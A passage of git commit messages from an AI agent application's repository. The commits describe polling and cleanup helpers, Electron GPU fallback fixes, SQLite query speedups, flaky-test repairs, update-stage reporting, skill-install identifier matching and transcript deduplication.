        if condition(): return ...
        time.sleep(interval)

with small drifts between copies: some re-checked once after the loop,
some did not, one slept before its first check, and update_cmd_windows
kept a private _poll_until. A copy without the final check can miss a
condition that becomes true during the last sleep.

agent/deadline.py (already the home of clamp_timeout / run_bounded_*)
gains poll_until(predicate, timeout, interval): checks at once, cuts the
last sleep to the time left, checks again at the deadline, and returns
the predicate's last value so callers that wait for a pid / row /
identity get it back directly. timeout <= 0 is one check.

Converted: outbound_webhooks.flush, cron delivery wait and jobs flock,
host_attach channel wait, browser profile unlock, data-cleanup drain,
gateway dbus/bus waits, launchd fresh-pid and supervision waits,
supervised restart, gateway_migrate live-gateway wait, Windows
drain/absent waits, kanban init lock, local-runtime boot wait,
update_cmd_windows (private helper deleted), bot desktop start/stop
waits, TUI browser connect.

Left as is: loops whose body does more than check (progress callbacks,
interrupt handling, two distinct exits) and one site whose blind except
the health gate would reject once moved.

Behaviour changes, all small:
- loops that stopped at the deadline without re-checking now make one
  more check there;
- loops that already re-checked after a full last sleep now cut that
  sleep to the time left, so the check lands at the deadline (up to one
  interval sooner);
- a timeout <= 0 now means one check (some loops made none);
- the local-runtime boot wait checks before its first sleep instead of
  after it;
- _wait_for_user_dbus_socket also exports the user systemd env when the
  socket appears on that final check (before, that path returned True
  without it).

update_cmd_windows is imported by update_cmd on every OS, so the
fresh-source-install acceptance fixture (which keeps agent/ out of the
update path) now copies the stdlib-only agent/deadline.py too.

Tests: 4 pins for poll_until (two red against the classic
no-final-check variant), plus the existing suites for every touched
module.
Six cleanup sites hand-wrote "list a directory, unlink files whose
mtime is older than N": bot_relay had unlink_files_older_than (and
bot_mode_dm imported it from there), plus inline copies in kanban
worker-log GC, the gateway media caches, voice recordings, terminal
breadcrumbs and blocked-script cleanup.

The helper moves to utils (next to the other file helpers) and takes an
age in seconds and an optional `now`, so callers stop computing cutoffs
by hand. It never raises: a missing directory is 0, an entry that cannot
be stat'ed or unlinked is skipped for the next sweep.

Behaviour note, towards "never raises": the gateway media sweep and the
kanban worker-log GC no longer raise on a directory that vanished or
cannot be listed.

Left alone: sweeps that remove directories (delegation_live_log,
code_kernel staging), chmod read-only files first (gitlock), group
files before deciding (terminal temp cache), keep files a transcript
still references (tool_result_storage spillover), or refuse to follow
symlinks (staged uploads).
Review of the stack found two more copies of the check-until-deadline
loop in files it already touched: gateway._wait_for_tcp_port_free and
voice_mode._sd_play_blocking. Same shape, same fix. The TCP wait now
also checks once more at the deadline; the playback wait already
re-checked after every sleep, so for it only the last sleep is cut to
the time left.

gateway_migrate._wait_for_served is left as is: it returns the last
partial value on timeout, which poll_until does not.
From review: document that poll_until bounds only its sleeps, not time
spent in the predicate; pin that unlink_files_older_than keeps sweeping
after one unlink raises PermissionError; pin that
_wait_for_user_dbus_socket exports the systemd env exactly once when
the socket appears only on the final check, made at the deadline after
a cut last sleep. Both new tests fail against a mutated implementation
(the per-file suppress removed; main's loop shape).
The Webapp recipe installs Desktop's workspace, and node-deps prepared
Electron's binary for any install that selects apps/desktop. The browser
bundle never runs Electron, so prepareNodeDependencies now takes
`electron: false` and build-webapp.mjs passes it. Desktop builds keep the
default.
The webapp_build stage copied all of apps/ before running the recipe, so
any Desktop source change reran npm ci. build-webapp.mjs gains
`--deps-only` (prepareWebappWorkspace), and the stage runs it after
copying only the manifests and the recipe. The build after `COPY apps/`
reuses that install through the node-deps receipt.
The Nix package had no Webapp bundle, and `hermes webapp` could not build
one in the read-only store. nix/webapp.nix builds it in the npm workspace
the hook prepares (no native rebuild, no Electron), exposed as
`.#webapp`. The agent assembler takes it as a `webapp` frontend: the
wrapper sets HERMES_WEBAPP_DIST to it, as HERMES_WEB_DIST is set for the
dashboard.

hermes_cli/webapp.py serves a HERMES_WEBAPP_DIST bundle as shipped: no
freshness check, no build lock, never rebuilt or marked stale, and
`--force-build` says it cannot rebuild it.
Defer startup recovery marker writes until the single-instance lock is owned.
Qualify NVIDIA boot and fallback witnesses with the stamped artifact and driver,
clear interrupted probes on clean exits, and avoid carrying an automatic ANGLE
flag through update relaunches. Preserve bounded genuine-failure recovery and
honor startup exclusions during runtime GPU-death handling.

Adapt the marker writer and build-identity approach from kokhlo's #131067.
Cover persisted lifecycle with isolated Electron process and regression tests.

Co-authored-by: Konstantin Khlopkov <konstantin.khlopkov93@gmail.com>
Two gaps left after the lock-owned, build-qualified NVIDIA witness:

- linux-gpu-fallback matched only `launch-failure`, a reason Electron never
  emits (it sends `launch-failed`). A GPU child that never launched therefore
  never took the bounded --disable-gpu step, and Chromium's error_code=1002
  retry loop kept a zygote spinning at 350-650% CPU (#134888, #141574).
  Match the real spelling and record it as `gpu-launch-failure`.
- The NVIDIA GPU-death witness fired at any point in the process lifetime,
  including `killed` (exit 15). A GPU child killed hours after a healthy
  boot — session logout, OOM, a driver reset after suspend — wrote a sticky
  SwiftShader fallback for every later launch. Only a death before the first
  reveal, or within 60 s of it, now counts as the launch failing.

Main's existing NVIDIA contract tests stay byte-identical: an unqualified
legacy `booting` marker is still trusted when the launch has no stamped
identity, and `launch-failure` still matches.
Greptile P1 (main.ts:1094): past the 60 s witness window gpuDied() returned
false, but linuxGpuChildDeathPath() still answered disable-gpu for a
`crashed` GPU child, so the same late, recoverable crash wrote the generic
Linux fallback marker and relaunched with --disable-gpu.

The NVIDIA recovery now exposes afterBootWindow(), and the shared Linux
handler passes it as runtimeDeath, so neither ladder relaunches or writes a
fallback for a GPU death after the boot was witnessed healthy.
Greptile P1 (main.ts:890): when nvidia-egl-fallback.json could not be
written, persist() logged and returned, and gpuDied() still relaunched with
the unchanged argv. The new process read no fallback, booted hardware GL
again with relaunchAttempted reset, and repeated the failing launch.

persist() now reports whether the witness reached disk. When it did not,
the relaunch carries --use-angle=swiftshader itself, and a process launched
with that switch counts the fallback as active, so a GPU death there cannot
relaunch again.
Greptile P2 (launch-marker-writer.ts:10): the queued writer existed only to
hold four synchronous marker writes until the lock was owned. The lock now
is taken right after userData is final, before the Windows stack-cookie,
NVIDIA, Linux GPU and sandbox decisions, and each write runs in place only
for the lock owner, as on main. app.exit() in the losing instance does not
stop module evaluation, so the writes stay gated on isPrimaryInstance.

The NVIDIA recovery takes `primary` instead of a queue callback. The real
Electron second-instance fixture (linux-nvidia-egl-recovery.native.test.ts)
still proves a losing launch leaves the owner's marker untouched.
Same class as #144950's sandbox relaunch: the NVIDIA and Linux GPU
fallbacks, the sandbox relaunches, the renderer crash-loop recoveries and
the update relaunches all called app.relaunch() with
HERMES_DESKTOP_READY_FD still set. The pipe is not inherited, so in the
new process that number belongs to another file (v8_context_snapshot.bin
was seen on fd 4) and the reveal byte is written into it.

Every app.relaunch() in main.ts now goes through relaunchApp(), which
drops the variable first. linux-sandbox-relaunch.ts (#144950) keeps its
own drop and is not touched here.
The post-boot witness window was recorded only by the NVIDIA recovery's
healthy(), which returns before setting the clock unless an NVIDIA driver is
present. On every other Linux host afterBootWindow() stayed false, so a GPU
child crash hours after a healthy boot still relaunched with --disable-gpu
and wrote the sticky linux-gpu-fallback marker (software rendering forever).

The boot clock now lives in the generic Linux GPU module
(createLinuxGpuBootWindow). main.ts records the first window reveal on it
for every Linux launch and both ladders read it: the --disable-gpu ladder
via runtimeDeath, the NVIDIA ANGLE ladder via its bootWindow option. The
NVIDIA ladder itself stays NVIDIA-only; a GPU death during boot or inside
the 60 s window takes either ladder exactly as before.
list_sessions_rich(order_by_last_active=True) — what GET /api/sessions and
the sidebar use — got linearly slower with history and did not care about
LIMIT: on a 25k-session store a page took 4s at LIMIT 1 and 11-14s at 200.

Two costs, both paid for every admitted row before LIMIT:

- projection: the ranked SELECT carried s.*, the resolved system prompt and
  the preview subquery, so SQLite built the full result of every row just to
  sort it. A `page` CTE now ranks and cuts on ids alone; only its rows are
  projected.
- chain walk: every admitted row seeded the compression-chain CTE and
  GROUP BY, though a childless row's chain is only itself. Without a search
  (which matches a row's own id/title through the chain) only rows with a
  child seed it; the rest rank by their own last_active, which the COALESCE
  now reads directly.

Same rows, same order, same columns — verified in one snapshot against a live
25k-session state.db:

  cron, LIMIT 200 OFFSET 0     10.98s -> 0.49s
  cron, LIMIT 200 OFFSET 800   14.05s -> 0.39s
  cron, LIMIT 1                 4.12s -> 0.31s
  all,  LIMIT 50                9.49s -> 0.35s
  search_query (full seed)      0.91s -> 0.91s

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Mv1VQyPzyk39LrW1B4xDHj
Adds the invariant test for #119403: a recency page may rank every admitted
row, but each row outside the page must not also pay the projection (s.*,
resolved prompt, preview subquery over message content). Measured as SQLite
VM steps per extra admitted row at LIMIT 1 versus per projected row: base
413 vs 479 (red), head 143 vs 479.

Moves the compression-tip page projection into hermes_state_session_list.py
so hermes_state_sessions.py stays under 2,000 lines after #125515's page CTE,
and drops the one-off lineage benchmark script from the salvaged branch (its
numbers are in the PR body).
test_exit_flush_applies_each_profiles_own_consent waited for
hermes.task_run.finished to appear in the revoked profile's store and then
snapshotted the store as "rows before exit". NeMo Relay delivers the task
end event on its own thread, and SharedMetricsSubscriber commits that one
event's counters one at a time: task_run.finished, then task_run.duration,
each in its own record_counter transaction. A snapshot taken between the two
commits missed the duration row. The row then landed during the exit flush
(another profile's process-wide Relay flush drained the event), and the
post-exit set had one row more (CI run 40297781639, job 121488547360).

The late row belongs to the turn that ran while collection was on. It is not
an exit row, so the consent gate held and production is unchanged. Sync on
the barrier production itself uses before exporting
(relay.subscribers.flush(), which returns once every queued callback has
finished) instead of polling for the event's first row.

Repro: a 0.5 s sleep in the subscriber right after it persists
task_run.finished (scratch copy) fails the test on every run on main with
CI's exact diff (6/6). The fixed test passes 6/6 under the same injection.
test_fallback_chain_hot_reload drives server._prepare_turn_input directly on the
pytest main thread. Admission binds tools.approval_context._approval_session_key
to the session's key ("session-95066") and the test stops it with _StopAfterSync,
so the production unwind (_release_turn_scopes in run_body's finally) never ran and
the contextvar stayed bound for the rest of the process.
human_input_hooks._identity reads that contextvar first, so
test_tui_sudo_request_fires_human_input_hooks, run later in the same process, got
session_key "session-95066" instead of its own conversation key.

Repro (single process, deterministic): pytest
tests/tui_gateway/test_fallback_chain_hot_reload.py
tests/tui_gateway/test_human_input_hooks_tui.py -> 1 failed on main; each file
alone passes. Fix: run the real _release_turn_scopes in a finally and assert the
key is unbound afterwards (a sabotaged release fails the polluter itself).

Production is not affected: a TUI/Desktop turn runs on a fresh
spawn_context_thread with a copied context and run_body's finally always calls
_release_turn_scopes, so the binding cannot outlive the turn or reach another
session or profile in a multiplexed backend.
Each file imported the module under test with `await import(...)` inside
the first test body (or a beforeAll), so that test's 15 s testTimeout
(30 s hookTimeout) was charged for fetching and transforming the whole
module graph. Idle that costs 1-3 s; on a loaded runner (load ~120 on 20
cores, 3 concurrent vitest runs) it costs 11-20 s, and the first test times
out. The timed-out body then keeps running into the next test: cron's late
render leaks a second "No runs yet" into later tests, and onboarding's
zombie body advances the fake clock the next test shares, which fires its
Continue budget early.

vi.resetModules() keeps each module's transformed code (it clears only the
evaluated exports), so:
- cron/index and providers-settings.terminal-disconnect never reset
  modules: import the component statically, as the vi.mock calls above it
  are hoisted anyway.
- auto-speak cross-window, onboarding-decide, session-states-profile-rename
  and profile-rail-prefs need a fresh copy per test or host: import the
  same graph once at collection (outside any test budget) and keep the
  per-test resetModules + import, which now only re-evaluates.

No assertion, timeout or retry changes. Under the same load the first
tests take 0.2-2 s instead of 11-20 s.
Same cold-load mechanism as the previous commit, found by a full loaded
`--project ui` run on origin/main (12 CPU spinners on top of load ~120):

- use-gateway-request: the first secondary reopen runs production's lazy
  `await import('@/store/session-states')` (store/gateway.ts), so the first
  reconnect case paid the 3k-line store's cold transform and timed out; the
  zombie body then nulled `result.current` for every later case.
- branch-owner-routing.integration: both cases import `@/store/gateway`
  cold after resetModules, and the second one also reaches the lazy
  session-states import.
- floating-mode-memory: imports registry, interface-mode and floating-panes
  cold in the first case; its late render leaked a second textbox into the
  next case.
- layout-flipped-sides and browser-popout-handoff: same cold imports,
  previously papered over with `{ timeout: 30_000 }` and
  `vi.setConfig({ testTimeout: 90000 })`. Under load base still timed out
  through both (first test median 18 s / 42 s, max 30 s / 90 s). Both
  overrides are gone; the first tests now take 1-5 s under the same load.

The warm loads are static side-effect imports, except in
branch-owner-routing, where the `@/hermes` mock reads a class declared in the
file: a hoisted import would reach it in the TDZ, so that file warms with
top-level await after the mock.

Loaded A/B, 20 runs each, base and head side by side under the same
spinners: base red 1/20, 4/20, 14/20, 20/20, 3/20; head 0/20 for each file.
The file's first `:` trigger waits out the real 60 ms debounce, loads the
emoji index and paints the list for the first time. Under 12 CPU spinners
on a loaded box, marks around that path measured 150-630 ms from typing to
the list: the debounce fired ~300 ms late and the first paint took 40-250 ms.
Later opens in the file hit the cached index and take ~5 ms. vi.waitFor's 1 s
default (never chosen for this test) went red in 5 of 61 loaded runs of the
unchanged test (2/20, 2/20, 1/21).

This is scheduler-bound real work, not a missed signal, so the one knob is
the wait budget: 10 s on that single wait. The wait still polls every 50 ms
and returns on the first paint, and a broken list still fails inside the
15 s test budget. Loaded runs after the change: 0/21 beside a base leg that
went red 1/21 under the same spinners.
The meter still shows the previous reply once /compress reloads the transcript.
/compress does not call the chat model and publishes no session.usage, so the
bar kept the previous reply's prompt size until the next turn.
hermes update rebuilt and repackaged the Electron app (6-38 min on Windows)
on every commit move, because _packaged_desktop_current_for_head requires the
app's baked commit to be HEAD before the freshness receipt is consulted.

The receipt already content-hashes every desktop build input (sources,
lockfile, build scripts, prepared icons/native trees, renderer env, Node,
platform, arch) and the output. The baked install stamp is the one input it
cannot see. desktop_build_reuse asks whether a build at HEAD would bake a
stamp that differs in anything but commit provenance (commit, commitDate,
dirty, builtAt), using write-build-stamp.mjs's own resolver, and reuses the
packaged app when the receipt is current and it would not.

The reused app keeps naming the commit it was built from: the stamp is never
rewritten (bundle-swap would relaunch into a "swap" forever), and bundle-skew
counts desktop runtime-path commits since it, which identical inputs rule out.
Red on origin/main (a Python-only commit rebuilt the app), green here; a
build at HEAD that would stamp another branch still rebuilds.
The hand-off window showed "Updating code and dependencies" plus a clock for
the whole 20-60 minute update (#139952, #135363, #130460). On Windows the
hermes update child could not publish anything: windows.ps1 never told it
where (posix.sh exports HERMES_UPDATE_STATUS_FILE), and the pipeline's own
stage marks named nothing.

- windows.ps1 exports HERMES_UPDATE_STATUS_FILE and relays what the child
  writes there to the window once a second while the step runs, logging each
  stage to the hand-off log so its timestamps localize the slow one.
- Each pipeline stage mark (snapshot, apply, deps, build) publishes the next
  stage: Downloading updates, Updating dependencies, Building the apps,
  Restarting Hermes services. The desktop build adds "Packaging the desktop
  app" before electron-builder runs.
The fixture install ships its own hermes_cli package, which shadowed
hermes_cli.update_stage on the runner.
source_build imports hermes_cli/desktop_build_reuse.py on the update path, so
tests/ci/test_update_ci_routing.py requires it routed beside desktop_build_lock.py
(its desktop-reuse.mjs script is already covered by the scripts/build/ prefix).
Counting a failed launch-time dependency sync toward the completion retry bound
(#139952) also held back the launch after a corrected source update: two failed
syncs armed the 15-minute backoff, so the fixed lock never synced and
tests/pm/test_source_update_launch.py::test_failed_real_sync_preserves_previous_selection_and_retries
went red. The attempt record now carries the digest of the sync inputs
(pyproject.toml, uv.lock, pm/lock.json) a failed sync was for: relaunching over
the same inputs still backs off and caps, while changed inputs are a fresh repair.
Recording a failed launch-time sync (#139952) left the install stale while
the backoff (or the 6-attempt cap) skipped the repair, and prepare_launch then
still returned the store interpreter "because dependencies are not current".
hermes_bootstrap os.execv'd into it, the child reached the same answer, and
every launch (and `hermes update`) looped forever.

- A suppressed retry over stale dependencies returns None: no repair ran, so
  the launch boots on the previous dependency generation exactly as a launch
  whose sync failed does, with one line naming the wait and `hermes update`.
- `hermes update` is exempt from the stale-dependency backoff: it is the
  remedy every backed-off launch names, so it always attempts the repair.
- relaunch_command marks the child it starts (sys._hermes_relaunched), and a
  relaunched child never relaunches into its own interpreter again, closing
  the exec-loop class rather than this one state.

The PR's own test asserted prepare_launch(...) == Path(sys.executable) for
the backed-off stale state, which is the execv target of the loop; it now
asserts None. New tests drive real launches as processes through
prepare_launch -> relaunch_command -> os.execv and count generations.
`hermes update` now reuses the packaged app when no desktop build input
changed (content), but the running app's skew check counted runtime-path
commits since the build stamp. A change and its revert inside one update
range counts 2 with byte-identical inputs: the app was rightly reused, and
then showed "App build out of date" until some later desktop change rebuilt
it.

A positive count is now confirmed against the endpoints: `git ls-tree` of
the stamp and of HEAD over RUNTIME_PATHS; equal object ids mean equal
content, and the check is quiet. An empty or failed listing proves nothing
and the count keeps its verdict, so every existing answer (fakes, shallow and
treeless clones, disconnected roots) is unchanged.
windows.ps1 exports HERMES_UPDATE_STATUS_FILE for `hermes update`'s stage
relay. The WMI and explorer relaunch rungs start the Desktop with a fresh
environment, but the Start-Process fallback inherits this script's, so the
relaunched app (and the gateways it spawns) carried the update's status file.
Clear it on that rung, as posix.sh does on its relaunch.
The relaunch marker lives in the -c source, so a torn-update restore that
re-execs sys.orig_argv keeps it. A restored process whose sync then made the
install current was refused its relaunch with a false "relaunching did not
leave this install current". _relaunch_target now refuses only while PM still
reports the install stale: that is the one case where the next child would
make the same decision, so the exec loop stays impossible.

Only a real `hermes update` bypasses the failed-sync backoff; its report-only
forms (--check, --plan, --list-venv-holders) no longer re-run the failing sync
on every call.
The Desktop hand-off window's stage text was published from the END mark of the
previous stage (`record_stage` guessed the next one from a table). A failed build
published nothing, but the code is committed so the update still restarts the
gateways, and the window kept the build/packaging message through the whole
restart (Greptile review on #144922).

Each message is now published where its stage begins: "Downloading updates"
after the backup, "Updating dependencies" before the completion's dependency
sync, "Building the apps" at the product build, and "Restarting Hermes services"
inside the fleet restart phase itself, so every caller (current completion and
historical takeover) gets it after a failed build too. `record_stage` is back
to origin/main's shape: no next-stage table, no failed-snapshot special case.

The Windows stage-relay test waits with tests.waiting.wait_until instead of two
hand-rolled sleep loops (the STAGE_CLI child imports it from the repo it already
puts on sys.path).
The lock records a ClawHub install as @owner/slug. A Desktop catalog card
installs clawhub/<slug>, and the hermes-index and hub search list the bare
slug, so the installed map never matched either one. The card kept offering
Install, and a second click exited 0 with "already installed".

_installed_hub_identifiers now also lists each ClawHub lock row under those
two ids, parsed by ClawHubSource's own identifier parser. Exact lock ids
still win over an alias.

Co-authored-by: xxxigm <tuancanhnguyen706@gmail.com>
Renders the Capabilities catalog with the hub map the backend now returns for
two ClawHub installs. The Agent Git Oracle card takes the installed skill's
switch, and My Pdf (its SKILL.md declares name: pdf, so it cannot merge into
that row) reads Added. With the previous map, keyed by lock ids only, both
cards offered Add.
The installed map listed each ClawHub lock row under its bare slug as well
as clawhub/<slug>. A bare id carries no source, so with @alice/foo
installed, a `foo` from any other source would also read installed.

HubLockFile.by_identifier now keys a ClawHub row by its lock id and the
source-qualified clawhub/<slug> card id only. Desktop cards install that
id, so they need no change. The dashboard's hub search and featured list
carry a ClawHub skill's bare slug, so web/src/lib/skill-hub-installed.ts
looks a hit up under its own id, then under the id a catalog card would
install for it (skillCatalogInstallIdentifier), which differs only for
ClawHub.

Co-authored-by: unsupportedpastels <theoldwizard123@pm.me>
A hand-edited lock row with source clawhub and a non-string identifier
(say 123) reached ClawHubSource._parse_identifier, which called .strip()
on it. The AttributeError hit _installed_hub_identifiers' catch-all, so
every installed skill read as not installed. catalog_identifier now
returns None for a non-string id, and the row keeps its exact key as it
did before.

Co-authored-by: unsupportedpastels <theoldwizard123@pm.me>
Co-authored-by: yoniebans <jonny@nousresearch.com>
The hub index resolves a ClawHub hit to its bare slug, and the lock
records @owner/slug. HostInstaller.install_skill looked the lock up by the
id it was given, so a finished install raised its last printed line
("Files: skill-card.md, SKILL.md, _meta.json") and a second one raised
"Use --force to reinstall." instead of reporting already installed. Its
search rows marked the same skill installed: false.

Both now go through installed_entry, which matches a hit's exact id and,
for a ClawHub hit, its clawhub/<slug> card id. The runner passes the
source that resolved the row, so another source's bare id still matches
exactly.

Co-authored-by: yoniebans <jonny@nousresearch.com>
A bot DM (message_agent), process completion, heartbeat or plugin wake into a
session that executes in a managed worker (safe/ignore-user-config sessions,
gateway.managed_workers) never ran: reserve_admission_worker signed the
adoption claim with the admission principal (automation:<session key>), but
the worker authenticates with the worker-adoption ticket the control channel
mints for its same-user peer (uid:<n> / sid:<sid>). Every adopt answered
permission_denied, the admission settled interrupted and the DM receipt stayed
ambiguous, so the sender was told "do not resend" for a message nobody read.

The claim now binds the subject the worker will present (owner_worker_subject);
the admission-principal check, pid/birth/descent proof and private secret are
unchanged, and any other subject is still refused.

Live (real gateway run --force, managed_workers: true, loopback provider):
base 3/3 DMs interrupted, 0 model calls; head 3/3 settled exactly once.

Fixes #144139
Greptile: "optional worker_subject falls back to principal_id". The fallback
left the #144139 failure one forgotten argument away: a caller that omitted
worker_subject bound the claim to an automation principal again, and every
adopt of that reservation was refused. reserve_admission_worker now computes
owner_worker_subject() itself; the parameter, the fallback and the caller-side
import are gone. Production behaviour is unchanged (the only caller already
passed owner_worker_subject()).

The reservation tests that adopted as the admission principal ('human') now
adopt as the owner's OS subject, the only subject a worker ticket carries.

Red: the automation-principal tests fail on 5738695a085a (claim binds the
route when the subject is omitted). Live: gateway run --force with
gateway.managed_workers: true, 3 bot DMs on 4 managed worker executions,
all settled exactly once, 0 permission_denied.
This reverts commit f4e78a0b589d. Removing the worker_subject parameter
changed the adopting identity in three tests that exist on main
(test_managed_worker_drain, test_managed_worker_fencing,
test_worker_admission_reservation). Existing tests are contracts; the
simplification was optional (non-blocking review note), so keep the explicit
parameter: the only production caller always passes owner_worker_subject().
Reset per-page header slots during the route render, before child layout
effects populate them. The parent layout effect previously erased the
Channels restart action on direct load and replacement slots on navigation.

Adapt the provider-reset portion of #45652. The separate hidden ChatPage
writer was already addressed by #72234. Add real Channels and route lifecycle
coverage, including delayed mounting and clearing every previous slot.

Co-authored-by: WompaJango <WompaJango@protonmail.com>
A passive-effect cleanup on the outgoing page runs after the incoming page's
layout effects, so leaving Sessions (the landing route) or Files still erased
the next page's header action, e.g. Channels' Restart gateway. Move the
remaining passive header writers (Sessions, Files, Plugins and Chat's title)
to useLayoutEffect, document the rule on usePageHeader, and cover leaving
Files and Sessions.
The plugin-dir check compares the mtimes of plugins/ and plugins/model-providers/
against the stamps read at the last scan. A kernel without fine-grained
timestamps gives every directory change within one clock tick (~4 ms) the same
mtime, and FAT/HFS+ round to 1-2 s, so an install landing in the tick the last
scan read leaves the stamps equal: the new provider stayed "unknown" until some
later change to those dirs, TTL or not. This is the CI-only failure of
test_new_install_found_by_new_name_and_after_the_ttl (late-b and late-a are
installed microseconds apart; local 6.13+ kernels stamp a just-stat'ed dir
fine-grained, so it only reproduced on the runners).

A stamp still within one tick of the wall clock is now left unremembered, so
the next periodic check (once per TTL) scans again until the stamps settle;
settled stamps are trusted exactly as before, so the steady state still costs
one stat pair per TTL and no rescans.
A scan slower than one mtime tick let a stamp read before it look settled
afterwards and get remembered over an install that landed mid-scan. The same-tick
test now drives a slow scan (red on the previous head), and layer_env freezes
time_ns so a paused runner cannot make the fresh stamps look settled.
Edit-tool cards (patch, write_file) open their inline diff by default, and
the compact FileDiffPanel Shiki-highlighted every diff in the loaded window
on mount. Switching to a session full of file edits therefore tokenized
every diff on the click path: on a 78-message session with 26 x 400-line
diffs, 7.4 s of Shiki CPU and 113k DOM nodes per switch (dev renderer).

The compact panel now keeps the plain colored rows (the existing Suspense
fallback) until the box first intersects the viewport, then highlights.
Windowed panels already highlight only the rows they mount.
Highlighting now waits for an intersection jsdom never delivers, so the
throwing syntax-diff mock never mounted and the error-boundary regression
test passed without exercising its path (removing the local boundary stayed
green). Run it without an IntersectionObserver, where the card highlights at
once, so the failing chunk mounts as on base.
Review round (kshitijk4poor) on #144991, wording only: the comment said the windowed body
"already highlights only the rows it mounts". TokenizedDiffBody runs codeToTokens over every
line; only the DOM rows are windowed, on base and head alike. The comment now says windowed
panels are unchanged, and the older "never mounts (or Shiki-highlights) every line" line
beside it drops the same claim. The failed-chunk test comment names the setup's inert
IntersectionObserver (jsdom has none) instead of "jsdom never reports an intersection".

The first commit's message (30a2d907) repeats the old claim; it is corrected in the PR body.
The salvaged relay fix shipped nine tests; keep the two that pin the
invariant (a plain reply is never relayed as reasoning, inline thinking is
relayed without the reply text). Both fail on origin/main. The extractor
call needs no try/except: agent._extract_reasoning does not raise.
In-place compaction archives the summarized rows (active=0, compacted=1) and
keeps them display-visible, so the transcript still shows the full history.
A protected-head tool result is carried into the new generation as a pruned
stub with the same message_uid and timestamp. The display key of a tool result
includes its body (on purpose: the archived full output must never fold into
its stub), so the stub and the original painted as two tool results. Desktop
showed the same tool card twice after every compaction that pruned one.

archive_and_compact now writes such a copy model_only when an archived row
with the same message_uid, a different body and normal visibility exists. The
model still reads the stub; the transcript shows the full original once. A
stub whose original was rewound (the verbatim carried tail) stays visible
because it is then the only copy. The rule lives in a new sibling module so
hermes_state_messages.py only gains the two call sites.
This reverts commit e9a8e69a1e3c826c2333234085aa0b262cb08a00.

Design conflict with two existing contracts on main, which went red in CI:

- tests/agent/test_inline_edit_persistence.py::test_edit_preview_is_durable_before_emission_and_display_only
  (10 params): after a compaction that demotes a tool result, the active stub's display_metadata must
  equal the original row's, and the archived original must still be on the display page.
- tests/agent/test_proactive_prune_restart_safety.py::test_in_place_prune_display_survives_later_compaction_and_backfill
  (3 params): after an in-place prune and a later compaction, the page shows the stub, never the
  archived full body.

The reverted commit hid the stub with display_metadata.model_only, which breaks the first contract, and
it also hid the stub copy that a later compaction makes of a pruned row, which breaks the second. The
alternative (move the stub into the original's display slot) passes the prune contract but hides the
archived original, which the inline-edit contract asserts is on the page. The display read paints one
row per slot and prefers the active row, and model_only is the only hide flag, so with an unchanged
stub display_metadata the stub always paints beside the archived original. Removing that duplicate
needs a read-path change (or a decision to change one of the two contracts); that is a maintainer call.
Production receipts (estate state.db, 2026-10-07): 24k+ re-inserted shadow
rows across 47 sessions (Oct 1-7), each preserving the original message_uid
while landing at a later timestamp with display metadata lost. Signature
reproduced end-to-end in test_flush_uid_reinsert_guard.py: a dict rebuilt
from durable rows (crash/failed-turn history restore, resume, repaired
sequence, wire-crossing handoff) carries its durable message_uid but NOT
the _DB_PERSISTED_MARKER (underscore-prefixed, stripped before the wire)
nor _row_id — the flush's identity guards can't see it and INSERT a second
copy of an already-active logical message.

Fix (fail-open, append-only): SessionDB.active_message_uid_exists() probes
the durable uid set in one statement; _db_flush_collect consults it once
per flush and stamps durable candidates _DB_PERSISTED_MARKER + skip.

Validation: new suite 3/3 PASS; red-run confirmed on stashed patch (fails
with the exact defect); A/B mass run (-k flush/persist/transcript/session,
9519 deselected): baseline 30 failed/683 passed vs patched 27/685 — patch
fixes 2, breaks 0; all 30 fail-then-pass-in-isolation (shared-machine
test-ordering pollution, pre-existing).

Co-Authored-By: Viiy <viiy@mediaplural>
Review (PRATHAMESH75, 134799): the flush-side guard stamped-and-skipped
restored dicts BEFORE resolve_and_repair_transcript_batch could see them,
so a snapshot-carrying dict's live edit never reached its row — reproduced
live (restored[-1]['content']='new answer' -> final active rows read
['q', 'old answer'], the edit silently lost). It also probed the durable
uid set OUTSIDE the write transaction (a concurrent writer could flip the
active set between read and INSERT) and built candidate_uids from the
WHOLE transcript (O(N) per flush, past SQLite's bound-variable limit the
probe throws and the guard fails open silently.

Move the no-snapshot uid dedupe into resolve_and_repair_transcript_batch
(the reviewer's sturdier option, which closes all three):
- _active_uid_dedupe runs inside the caller's BEGIN IMMEDIATE — the same
  transactional guarantee the CAS repair already relies on, no TOCTOU.
- Candidates exclude dicts that still carry DB_ROW_SNAPSHOT or _row_id:
  the CAS path rewrites their active row in place; a live edit must land.
- Candidates are chunked via hermes_state_common._id_chunks (the repair
  code's own pattern), so no bound-variable limit and no whole-transcript
  cost per flush.
- Fail-open stays: a probe error logs and returns an empty set.

The flush-side pre-guard in _db_flush_collect comes out (the marker,
history-identity and scaffolding guards remain untouched there).

Regression: test_restored_snapshot_rewrite_still_lands pins the reviewer's
exact repro — red on this PR's parent head (edit lost), green with the fix.

Validation (this commit): new suite 4/4; red/green confirmed by file-scoped
revert of the two source files (1 failed -> 4 passed); repair-path battery
(test_append_messages_batch, test_restore_alternation_repair,
test_repaired_history_commit_coverage, test_compression_watermark_commit)
35/35; scratch battery (test_scratch_dir, test_scratch_scan_failures)
22 passed + 2 platform skips; -k 'flush or persist or transcript' A/B vs
PR head: fixed 30 failed / 401 passed, baseline 31 failed / 400 passed —
fixed failures a strict subset of baseline (all pre-existing environmental
failures: tests spawning PATH-resolved hermes trip the real-home IO guard);
the single delta is the new regression test, red on base, green here.

Co-Authored-By: Viiy <viiy@mediaplural>
EOF
)
A row the compressor already holds can also sit above the commit watermark
(flushed after the watermark was read, or left unnamed so coverage fell back
to the watermark). The commit inserted the carried copy and then cloned the
same row again as a "concurrent append", so the message landed twice with a
fresh id and timestamp each time. The positional tail rewind then took one
row too many from below the watermark and hid a summarized row from search.

archive_and_compact now recognises a concurrent-tail row that the compacted
set already carries (by row id with matching content, by message_uid, by
content plus timestamp, or by content alone when the dict carries none) and
skips its clone: the carried copy is the one live row and the original keeps
rewind flags. The tail rewind below the watermark shrinks by the rows that
were found above it. Both the watermark path and the named-coverage path take
the same step.

Fixes #137197
#134799: keep the restore-then-flush reproduction (red on main: 2 -> 4 rows) and the CAS rewrite
guard (a snapshot-carrying restored dict still rewrites its row). #137577: keep the held row above
the watermark (red on main: 3 copies, two active) and the foreign identical row that must still be
cloned. Both reds run through the production writers (AIAgent._flush_messages_to_session_db and
SessionDB.archive_and_compact on a real state.db), not mocks.
